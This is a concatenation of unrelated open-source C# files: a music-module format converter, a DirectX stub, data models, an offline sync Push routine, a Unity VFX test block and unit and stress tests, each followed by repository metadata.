0x17, 0x1f, 0x27, 0x2f, 0x37, 0xc0, 0xc0, 0xd0, 0xd8, 0xe0, 0xe8, 0xf0, 0xf8, // 9 0x00, 0xf8, 0xf0, 0xe8, 0xe0, 0xd8, 0xd0, 0xc8, 0xc0, 0xb8, 0xb0, 0xa8, 0xa0, 0x98, 0x90, 0x88, 0x80, 0x07, 0x0f, 0x17, 0x1f, 0x27, 0x2f, 0x37, 0xc0, 0xc0, 0xd0, 0xd8, 0xe0, 0xe8, 0xf0, 0xf8, // 10 0x00, 0xf8, 0xf0, 0xe8, 0xe0, 0xd8, 0xd0, 0xc8, 0xc0, 0xb8, 0xb0, 0xa8, 0xa0, 0x98, 0x90, 0x88, 0x80, 0x88, 0x0f, 0x17, 0x1f, 0x27, 0x2f, 0x37, 0xc0, 0xc0, 0xd0, 0xd8, 0xe0, 0xe8, 0xf0, 0xf8, // 11 0x00, 0xf8, 0xf0, 0xe8, 0xe0, 0xd8, 0xd0, 0xc8, 0xc0, 0xb8, 0xb0, 0xa8, 0xa0, 0x98, 0x90, 0x88, 0x80, 0x88, 0x90, 0x17, 0x1f, 0x27, 0x2f, 0x37, 0xc0, 0xc0, 0xd0, 0xd8, 0xe0, 0xe8, 0xf0, 0xf8, // 12 0x00, 0xf8, 0xf0, 0xe8, 0xe0, 0xd8, 0xd0, 0xc8, 0xc0, 0xb8, 0xb0, 0xa8, 0xa0, 0x98, 0x90, 0x88, 0x80, 0x88, 0x90, 0x98, 0x1f, 0x27, 0x2f, 0x37, 0xc0, 0xc0, 0xd0, 0xd8, 0xe0, 0xe8, 0xf0, 0xf8, // 13 0x00, 0xf8, 0xf0, 0xe8, 0xe0, 0xd8, 0xd0, 0xc8, 0xc0, 0xb8, 0xb0, 0xa8, 0xa0, 0x98, 0x90, 0x88, 0x80, 0x88, 0x90, 0x98, 0xa0, 0x27, 0x2f, 0x37, 0xc0, 0xc0, 0xd0, 0xd8, 0xe0, 0xe8, 0xf0, 0xf8, // 14 0x00, 0xf8, 0xf0, 0xe8, 0xe0, 0xd8, 0xd0, 0xc8, 0xc0, 0xb8, 0xb0, 0xa8, 0xa0, 0x98, 0x90, 0x88, 0x80, 0x88, 0x90, 0x98, 0xa0, 0xa8, 0x2f, 0x37, 0xc0, 0xc0, 0xd0, 0xd8, 0xe0, 0xe8, 0xf0, 0xf8, // 15 0x00, 0xf8, 0xf0, 0xe8, 0xe0, 0xd8, 0xd0, 0xc8, 0xc0, 0xb8, 0xb0, 0xa8, 0xa0, 0x98, 0x90, 0x88, 0x80, 0x88, 0x90, 0x98, 0xa0, 0xa8, 0xb0, 0x37, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, // 16 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, // 17 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, // 18 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, // 19 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, // 20 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, // 21 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, // 22 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, // 23 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, // 24 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, // 25 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, // 26 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, // 27 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, // 28 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x7f, 0x7f, 0x7f, 0x7f, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, // 29 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x7f, 0x7f, 0x7f, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 30 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x7f, 0x7f, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 31 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x7f, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 32 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x7f, // 33 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x7f, 0x7f, // 34 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x80, 0x80, 0x80, 0x80, 0x80, 0x7f, 0x7f, 0x7f, // 35 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x80, 0x80, 0x80, 0x80, 0x7f, 0x7f, 0x7f, 0x7f, // 36 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x80, 0x80, 0x80, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, // 37 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x80, 0x80, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, // 38 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x80, 0x80, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, // 39 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x80, 0x80, 0x90, 0x98, 0xa0, 0xa8, 0xb0, 0xb8, // 40 0xc0, 0xc8, 0xd0, 0xd8, 0xe0, 0xe8, 0xf0, 0xf8, 0x00, 0x08, 0x10, 0x18, 0x20, 0x28, 0x30, 0x38, 0x40, 0x48, 0x50, 0x58, 0x60, 0x68, 0x70, 0x7f, 0x80, 0x80, 0xa0, 0xb0, 0xc0, 0xd0, 0xe0, 0xf0, // 41 0x00, 0x10, 0x20, 0x30, 0x40, 0x50, 0x60, 0x70, 0x45, 0x45, 0x79, 0x7d, 0x7a, 0x77, 0x70, 0x66, // 42 0x61, 0x58, 0x53, 0x4d, 0x2c, 0x20, 0x18, 0x12, 0x04, 0xdb, 0xd3, 0xcd, 0xc6, 0xbc, 0xb5, 0xae, 0xa8, 0xa3, 0x9d, 0x99, 0x93, 0x8e, 0x8b, 0x8a, 0x45, 0x45, 0x79, 0x7d, 0x7a, 0x77, 0x70, 0x66, // 43 0x5b, 0x4b, 0x43, 0x37, 0x2c, 0x20, 0x18, 0x12, 0x04, 0xf8, 0xe8, 0xdb, 0xcf, 0xc6, 0xbe, 0xb0, 0xa8, 0xa4, 0x9e, 0x9a, 0x95, 0x94, 0x8d, 0x83, 0x00, 0x00, 0x40, 0x60, 0x7f, 0x60, 0x40, 0x20, // 44 0x00, 0xe0, 0xc0, 0xa0, 0x80, 0xa0, 0xc0, 0xe0, 0x00, 0x00, 0x40, 0x60, 0x7f, 0x60, 0x40, 0x20, // 45 0x00, 0xe0, 0xc0, 0xa0, 0x80, 0xa0, 0xc0, 0xe0, 0x80, 0x80, 0x90, 0x98, 0xa0, 0xa8, 0xb0, 0xb8, // 46 0xc0, 0xc8, 0xd0, 0xd8, 0xe0, 0xe8, 0xf0, 0xf8, 0x00, 0x08, 0x10, 0x18, 0x20, 0x28, 0x30, 0x38, 0x40, 0x48, 0x50, 0x58, 0x60, 0x68, 0x70, 0x7f, 0x80, 0x80, 0xa0, 0xb0, 0xc0, 0xd0, 0xe0, 0xf0, 0x00, 0x10, 0x20, 0x30, 0x40, 0x50, 0x60, 0x70 }; #endregion #region IModuleConverterAgent implementation /********************************************************************/ /// <summary> /// Test the file to see if it could be identified /// </summary> /********************************************************************/ public override AgentResult Identify(PlayerFileInfo fileInfo) { ModuleStream moduleStream = fileInfo.ModuleStream; // Check the module size long fileSize = moduleStream.Length; if (fileSize < 100) return AgentResult.Unknown; // Check the mark moduleStream.Seek(0, SeekOrigin.Begin); if (moduleStream.Read_B_UINT32() != 0x534d4f44) // SMOD return AgentResult.Unknown; // Skip the song length moduleStream.Seek(4, SeekOrigin.Current); // Check the offset pointers for (int i = 0; i < 8; i++) { if (moduleStream.Read_B_UINT32() > fileSize) return AgentResult.Unknown; } return AgentResult.Ok; } /********************************************************************/ /// <summary> /// Convert the module and store the result in the stream given /// </summary> /********************************************************************/ public override AgentResult Convert(PlayerFileInfo fileInfo, ConverterStream converterStream, out string errorMessage) { errorMessage = string.Empty; ModuleStream moduleStream = fileInfo.ModuleStream; uint[] offsetsAndLength = new uint[8]; uint[] newOffsetsAndLength = new uint[8]; // Start to write the ID mark converterStream.Write_B_UINT32(0x46433134); // FC14 moduleStream.Seek(4, SeekOrigin.Begin); // Copy the sequence length and make it even uint seqLength = moduleStream.Read_B_UINT32(); if ((seqLength % 2) != 0) converterStream.Write_B_UINT32(seqLength + 1); else converterStream.Write_B_UINT32(seqLength); // Read the offsets moduleStream.ReadArray_B_UINT32s(offsetsAndLength, 0, 8); converterStream.Seek(8 * 4, SeekOrigin.Current); // Copy the sample information ushort[] sampleLengths = new ushort[10]; for (int i = 0; i < 10; i++) { sampleLengths[i] = moduleStream.Read_B_UINT16(); converterStream.Write_B_UINT16(sampleLengths[i]); converterStream.Write_B_UINT16(moduleStream.Read_B_UINT16()); converterStream.Write_B_UINT16(moduleStream.Read_B_UINT16()); } if (moduleStream.EndOfStream) { errorMessage = Resources.IDS_ERR_LOADING_HEADER; return AgentResult.Error; } // Write the wave table lengths converterStream.Write(waveLength, 0, 80); // Copy the sequences Helpers.CopyDataForceLength(moduleStream, converterStream, (int)seqLength); // Copy the patterns newOffsetsAndLength[0] = (uint)converterStream.Position; if ((newOffsetsAndLength[0] % 2) != 0) { // Odd offset, make it even newOffsetsAndLength[0]++; converterStream.Write_UINT8(0); } newOffsetsAndLength[1] = offsetsAndLength[1]; // Allocate buffer to hold the patterns byte[] pattBuf = new byte[offsetsAndLength[1]]; // Load the pattern data into the buffer moduleStream.Seek(offsetsAndLength[0], SeekOrigin.Begin); moduleStream.Read(pattBuf, 0, (int)offsetsAndLength[1]); // Scan the pattern data after the portamento flags // and double it's data for (int i = 1; i < offsetsAndLength[1] - 2; i += 2) { if ((pattBuf[i] & 0x80) != 0) pattBuf[i + 2] = (byte)((((pattBuf[i + 2] & 0x1f) * 2) & 0x1f) | (pattBuf[i + 2] & 0x20)); } // Write the patterns converterStream.Write(pattBuf, 0, (int)offsetsAndLength[1]); // Copy the frequency sequences newOffsetsAndLength[2] = (uint)converterStream.Position; newOffsetsAndLength[3] = offsetsAndLength[3]; moduleStream.Seek(offsetsAndLength[2], SeekOrigin.Begin); Helpers.CopyDataForceLength(moduleStream, converterStream, (int)offsetsAndLength[3]); // Copy the volume sequences newOffsetsAndLength[4] = (uint)converterStream.Position; newOffsetsAndLength[5] = offsetsAndLength[5]; moduleStream.Seek(offsetsAndLength[4], SeekOrigin.Begin); Helpers.CopyDataForceLength(moduleStream, converterStream, (int)offsetsAndLength[5]); if (moduleStream.EndOfStream) { errorMessage = Resources.IDS_ERR_LOADING_PATTERNS; return AgentResult.Error; } // Copy the sample data newOffsetsAndLength[6] = (uint)converterStream.Position; moduleStream.Seek(offsetsAndLength[6], SeekOrigin.Begin); for (int i = 0; i < 10; i++) { int length = sampleLengths[i] * 2; if (length != 0) { // Check to see if we miss too much from the last sample if (moduleStream.Length - moduleStream.Position < (length - 256)) { errorMessage = Resources.IDS_ERR_LOADING_SAMPLES; return AgentResult.Error; } moduleStream.SetSampleDataInfo(i, length); converterStream.WriteSampleDataMarker(i, length); } // Write pad bytes converterStream.Write_B_UINT16(0); } // Write the wave tables newOffsetsAndLength[7] = (uint)converterStream.Position; converterStream.Write(waveTables, 0, waveTables.Length); // Seek back and write the offsets and lengths converterStream.Seek(8, SeekOrigin.Begin); converterStream.WriteArray_B_UINT32s(newOffsetsAndLength, 8); return AgentResult.Ok; } #endregion } }
41.833333
120
0.621514
[ "Apache-2.0" ]
neumatho/NostalgicPlayer
Source/Agents/ModuleConverters/ModuleConverter/Formats/ModuleConverterWorker_FutureComposer13.cs
16,066
C#
/* * The MIT License (MIT) * * Copyright (c) 2013 Alistair Leslie-Hughes * * Permission is hereby granted, free of charge, to any person obtaining a copy of * this software and associated documentation files (the "Software"), to deal in * the Software without restriction, including without limitation the rights to * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of * the Software, and to permit persons to whom the Software is furnished to do so, * subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ using System; namespace Microsoft.DirectX.Direct3D { public struct VolumeDescription { public int Depth { get { throw new NotImplementedException (); } set { throw new NotImplementedException (); } } public int Height { get { throw new NotImplementedException (); } set { throw new NotImplementedException (); } } public int Width { get { throw new NotImplementedException (); } set { throw new NotImplementedException (); } } public Pool Pool { get { throw new NotImplementedException (); } set { throw new NotImplementedException (); } } public Usage Usage { get { throw new NotImplementedException (); } set { throw new NotImplementedException (); } } public ResourceType Type { get { throw new NotImplementedException (); } set { throw new NotImplementedException (); } } public Format Format { get { throw new NotImplementedException (); } set { throw new NotImplementedException (); } } public override string ToString () { throw new NotImplementedException (); } } }
23.612245
83
0.690147
[ "MIT" ]
alesliehughes/monoDX
Microsoft.DirectX.Direct3D/Microsoft.DirectX.Direct3D/VolumeDescription.cs
2,314
C#
using System.ComponentModel.DataAnnotations.Schema; namespace DigitalArchitecture.Models { public class UISection { public int Id { get; set; } [ForeignKey("UI")] public int? UIId { get; set; } [ForeignKey("Section")] public int? SectionId { get; set; } public UI UI { get; set; } public Section Section { get; set; } } }
24.5
52
0.589286
[ "MIT" ]
QuinntyneBrown/digital-architecture
DigitalArchitecture/Models/UISection.cs
394
C#
using Nec.Nebula.Internal; using Nec.Nebula.Internal.Database; using System; using System.Collections.Generic; using System.Diagnostics; using System.Linq; using System.Threading.Tasks; namespace Nec.Nebula { // オブジェクト同期: Push public partial class NbObjectSyncManager { /// <summary> /// Push分割数 (999以下であること) /// </summary> internal static readonly int PushDivideNumber = 500; /// <summary> /// Push。 /// </summary> /// <remarks> /// 衝突が発生した場合、衝突解決したオブジェクトは次回Pushまでサーバには送信されない。 /// </remarks> /// <param name="bucketName">バケット名</param> /// <param name="resolver">衝突解決リゾルバ</param> /// <returns>失敗したバッチ結果の一覧を返す</returns> /// <remarks>引数はコール元でチェックすること</remarks> internal virtual async Task<IList<NbBatchResult>> Push(string bucketName, NbObjectConflictResolver.Resolver resolver) { // ensure cache table _objectCache.CreateCacheTable(bucketName); // Push対象となるオブジェクトのId一覧を取得する IEnumerable<string> wholeObjectsIds = _objectCache.QueryDirtyObjectIds(bucketName); // PushUpdate待機用Task Task<IList<NbBatchResult>> pushUpdateTask = null; // PushUpdate失敗結果一覧 var failedResults = new List<NbBatchResult>(); Debug.WriteLine("[--Push Start--] " + bucketName + " " + wholeObjectsIds.Count()); // 分割Push,PushUpdate開始 while (wholeObjectsIds.Count() > 0) { // 全Push対象オブジェクトから、分割数のオブジェクトIdを取得 var targetObjectIds = wholeObjectsIds.Take(PushDivideNumber); // 管理リストから取得済みのObjectIdを削除 wholeObjectsIds = wholeObjectsIds.Skip(PushDivideNumber); var targetObjects = _objectCache.QueryObjectsWithIds(bucketName, targetObjectIds); if (targetObjects.Count == 0) { // fail safe 分割同期処理中のDelete(物理削除)操作により発生しうるが、マルチスレッド制御により禁止される // 指定のオブジェクトが全く取得できない場合はskip // 一部でも取得できればPushを行う continue; } // バッチリクエスト実行 var batch = CreatePushRequest(targetObjects); var bucket = GetObjectBucket(bucketName); Debug.WriteLine("[Push] start : " + targetObjects.Count); var batchResults = await bucket.BatchAsync(batch, true); Debug.WriteLine("[Push] finished : " + batchResults.Count + " Left: " + wholeObjectsIds.Count()); // 初回を除き、PushUpdateのタスク完了を待機 await WaitPushUpdate(pushUpdateTask, failedResults); // PushUpdateを非同期実行開始。待機せず次のPush処理に移行。 // 最終のPushUpdateは、待機せずにループを抜ける pushUpdateTask = Task.Run(() => PushUpdate(bucketName, batch, batchResults, resolver)); } // 最終Pushに対するPushUpdate完了を待機 await WaitPushUpdate(pushUpdateTask, failedResults); // Pushに失敗が無かった場合、同期完了日時を更新 if (failedResults.Count == 0) { UpdateLastSyncTime(bucketName); } Debug.WriteLine("[--Push finished--] TotalFailed: " + failedResults.Count); return failedResults; } /// <summary> /// 最終同期完了日時を現在時刻に更新 /// </summary> /// <param name="bucketName">バケット名</param> internal virtual void UpdateLastSyncTime(string bucketName) { var currentUtcTime = GetUtcNow(); var utcTimeString = NbDateUtils.ToString(currentUtcTime); SetObjectBucketCacheData(bucketName, LastSyncTime, utcTimeString); } /// <summary> /// 現在のUTC時刻取得のラッパー /// </summary> /// <returns>UTCの現在時刻</returns> internal virtual DateTime GetUtcNow() { return DateTime.UtcNow; } /// <summary> /// バッチリクエスト生成処理 /// </summary> /// <param name="objects">Push対象のオブジェクト一覧</param> /// <returns>リクエスト<br/>オブジェクトが指定されない場合、空のリクエストを返却する</returns> internal virtual NbBatchRequest CreatePushRequest(IEnumerable<NbOfflineObject> objects) { var request = new NbBatchRequest(); foreach (var obj in objects) { if (obj.Deleted) { // DELETE request.AddDeleteRequest(obj); } else if (obj.Etag == null) { // INSERT request.AddInsertRequest(obj); } else { // UPDATE request.AddUpdateRequest(obj); } } return request; } internal virtual NbObjectBucket<NbObject> GetObjectBucket(string bucketName) { return new NbObjectBucket<NbObject>(bucketName, Service); } /// <summary> /// 指定タスクの完了を待って、PushUpdateの結果をリストに格納する /// </summary> /// <param name="task">Wait対象のタスク</param> /// <param name="failedResults">PushUpdateの処理結果</param> /// <remarks><see paramref="task"/>がnullの場合は何もしない。</remarks> internal virtual async Task WaitPushUpdate(Task<IList<NbBatchResult>> task, List<NbBatchResult> failedResults) { if (task == null) { return; } var result = await task; failedResults.AddRange(result); } /// <summary> /// Pushバッチ結果処理反映のラッパー<br/> /// </summary> /// <param name="bucketName">バケット名</param> /// <param name="batch">バッチリクエスト</param> /// <param name="results">バッチ処理結果</param> /// <param name="resolver">衝突解決リゾルバ</param> /// <returns>失敗結果一覧</returns> internal virtual IList<NbBatchResult> PushUpdate(string bucketName, NbBatchRequest batch, IList<NbBatchResult> results, NbObjectConflictResolver.Resolver resolver) { Debug.WriteLine("[PushUpdate] start : " + results.Count); var database = (NbDatabaseImpl)Service.OfflineService.Database; using (var transaction = database.BeginTransaction()) { try { var failedResults = PushProcessResults(bucketName, batch, results, resolver); transaction.Commit(); Debug.WriteLine("[PushUpdate] finished : " + failedResults.Count + " failed."); return failedResults; } catch (Exception) { transaction.Rollback(); throw; } } } /// <summary> /// Pushバッチ結果処理 /// </summary> /// <param name="bucketName">バケット名</param> /// <param name="batch">バッチリクエスト</param> /// <param name="results">バッチ処理結果</param> /// <param name="resolver">衝突解決リゾルバ</param> /// <returns>失敗結果一覧</returns> internal virtual IList<NbBatchResult> PushProcessResults(string bucketName, NbBatchRequest batch, IList<NbBatchResult> results, NbObjectConflictResolver.Resolver resolver) { int i = -1; var failedResults = new List<NbBatchResult>(); foreach (var result in results) { i++; var op = batch.GetOp(i); // fail safe // 通常はserverが通知したIdを使用する // insertに失敗したケース等Id未採番の場合、reuqestからIdを復元する if (result.Id == null) { result.Id = GetObjectIdFromBatchRequest(i, batch); } var obj = _objectCache.FindObject<NbOfflineObject>(bucketName, result.Id); if (obj == null) { // fail safe // 同期中のDelete(物理削除)操作により発生しうるが、マルチスレッド制御により禁止される continue; } switch (result.Result) { case NbBatchResult.ResultCode.Ok: switch (op) { case NbBatchRequest.OpInsert: case NbBatchRequest.OpUpdate: obj.FromJson(result.Data); obj.Etag = result.Etag; obj.UpdatedAt = result.UpdatedAt; _objectCache.UpdateObject(obj, NbSyncState.Sync); break; case NbBatchRequest.OpDelete: _objectCache.DeleteObject(obj); break; default: // fail safe: SDK内でリクエストを生成するため発生しない // 無視する break; } break; case NbBatchResult.ResultCode.NotFound: if (op == NbBatchRequest.OpDelete) { // すでにサーバデータ削除済み _objectCache.DeleteObject(obj); } else { failedResults.Add(result); } break; case NbBatchResult.ResultCode.Conflict: // サーバからデータが通知されないケースでは競合解決不可のため失敗扱いとする if (result.Data == null) { failedResults.Add(result); break; } // Clientオブジェクト var client = obj; // Serverオブジェクト復元 var server = new NbObject(bucketName, Service); server.FromJson(result.Data); server.Etag = result.Etag; server.UpdatedAt = result.UpdatedAt; // 衝突解決処理 if (HandleConflict(server, client, resolver) == client) { // Push時にクライアント優先で解決した場合は、アプリ側に衝突通知する。 // これは未同期オブジェクト(dirty状態)がまだ残っていることを通知する必要があるため。 failedResults.Add(result); } break; default: // forbidden, badRequest, serverError failedResults.Add(result); break; } } return failedResults; } /// <summary> /// バッチ要求から、ObjectIdを取得する /// </summary> /// <param name="index">リクエストのindex</param> /// <param name="request">バッチ要求</param> /// <returns>取得したId</returns> /// <remarks>取得に失敗した場合はnullを返却する</remarks> internal static string GetObjectIdFromBatchRequest(int index, NbBatchRequest request) { string result = null; var jsonObject = (NbJsonObject)request.Requests[index]; var jsonData = jsonObject.Opt<NbJsonObject>(NbBatchRequest.KeyData, null); if (jsonData != null) { result = jsonData.Opt<string>(Field.Id, null); } return result; } } }
36.834921
125
0.495906
[ "MIT" ]
nec-baas/baas-client-dotnet
Offline/NbObjectSyncManagerPusher.cs
13,303
C#
using System; using System.Collections.Generic; using UnityEngine; namespace UnityEditor.VFX.Block.Test { [VFXInfo(category = "Tests")] class ColorBlockTest : VFXBlock { public override string name { get { return "Color Test"; } } public override VFXContextType compatibleContexts { get { return VFXContextType.kAll; } } public override VFXDataType compatibleData { get { return VFXDataType.kParticle; } } public override IEnumerable<VFXAttributeInfo> attributes { get { yield return new VFXAttributeInfo(VFXAttribute.Color, VFXAttributeMode.Write); } } public class InputProperties { public Color Color = Color.red; } public override string source { get { return "color.rgb = Color.rgb;"; } } } }
25.833333
97
0.58172
[ "BSD-2-Clause" ]
1-10/VisualEffectGraphSample
GitHub/com.unity.visualeffectgraph/Editor/Models/Blocks/Implementations/Test/ColorBlockTest.cs
930
C#
using System; using FluentAssertions; using HttpConnect.Content; using Xunit; namespace HttpConnect.Tests.Content { public class StringContentTests { [Fact] public void ThrowsWhenContentIsNullEmptyOrWhiteSpace() { Assert.Throws<ArgumentException>(() => new StringContent(null, "mediaType")); Assert.Throws<ArgumentException>(() => new StringContent(string.Empty, "mediaType")); Assert.Throws<ArgumentException>(() => new StringContent("\t ", "mediaType")); } [Fact] public void ThrowsWhenMediaTypeIsNullEmptyOrWhiteSpace() { Assert.Throws<ArgumentException>(() => new StringContent("content", null)); Assert.Throws<ArgumentException>(() => new StringContent("content", string.Empty)); Assert.Throws<ArgumentException>(() => new StringContent("content", "\t ")); } [Fact] public void WhenConstructedSetsTheContentTypeHeader() { var content = new StringContent("content", "mediaType"); content.Headers.ContentType.Value.Should().Be("mediaType"); } [Fact] public void WhenConstructedThenCanAccessInitialContentThroughContentProperty() { string content = "THIS IS A TEST"; var stringContent = new StringContent(content, "plain/text"); stringContent.Content.Should().Be(content); } [Fact] public void WhenSerializedThenReturnsInitialContent() { string content = "THIS IS A TEST"; var stringContent = new StringContent(content, "plain/text"); stringContent.Serialize().Should().Be(content); } } }
32.763636
98
0.596559
[ "MIT" ]
alex-tully/HttpConnect
test/HttpConnect.Tests/Content/StringContentTests.cs
1,804
C#
using Stormpath.SDK.Account; namespace Stormpath.SDK.Impl.Account { internal interface IPhoneCollectionSync { /// <summary> /// Synchronous counterpart to <see cref="IPhoneCollection.AddAsync(string, System.Threading.CancellationToken)"/> /// </summary> /// <param name="number">The phone number.</param> /// <returns>The new <see cref="IPhone">Phone</see>.</returns> IPhone Add(string number); /// <summary> /// Synchronous counterpart to <see cref="IPhoneCollection.AddAsync(PhoneCreationOptions, System.Threading.CancellationToken)"/> /// </summary> /// <param name="options">The phone creation options.</param> /// <returns>The new <see cref="IPhone">Phone</see>.</returns> IPhone Add(PhoneCreationOptions options); } }
37.954545
136
0.644311
[ "Apache-2.0" ]
stormpath/stormpath-sdk-csharp
src/Stormpath.SDK.Core/Impl/Account/IPhoneCollectionSync.cs
837
C#
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. namespace DefaultNamespace { using System; using System.IO; public class MasterThread { internal int iNum = 0; public MasterThread( int Children ) { // console synchronization Console.SetOut(TextWriter.Synchronized(Console.Out)); iNum = Children; runTest(); } public void runTest() { LivingObject [ ]Mv_LivingObject = new LivingObject[ 25 ]; int iTotal = Mv_LivingObject.Length; for ( int i = 0; i < iNum; i++ ) { for ( int j = 0; j < iTotal; j++ ) { Console.Out.WriteLine( "{0} Object Created", j ); Console.Out.WriteLine(); Mv_LivingObject[ j ] = new LivingObject( ); } Console.Out.WriteLine( "+++++++++++++++++++++++++++++++++++Nest {0} of {1}", i, iNum ); Console.Out.WriteLine(); } Console.Out.WriteLine( "******************************* FinalRest" ); } } }
28.045455
103
0.479741
[ "MIT" ]
2m0nd/runtime
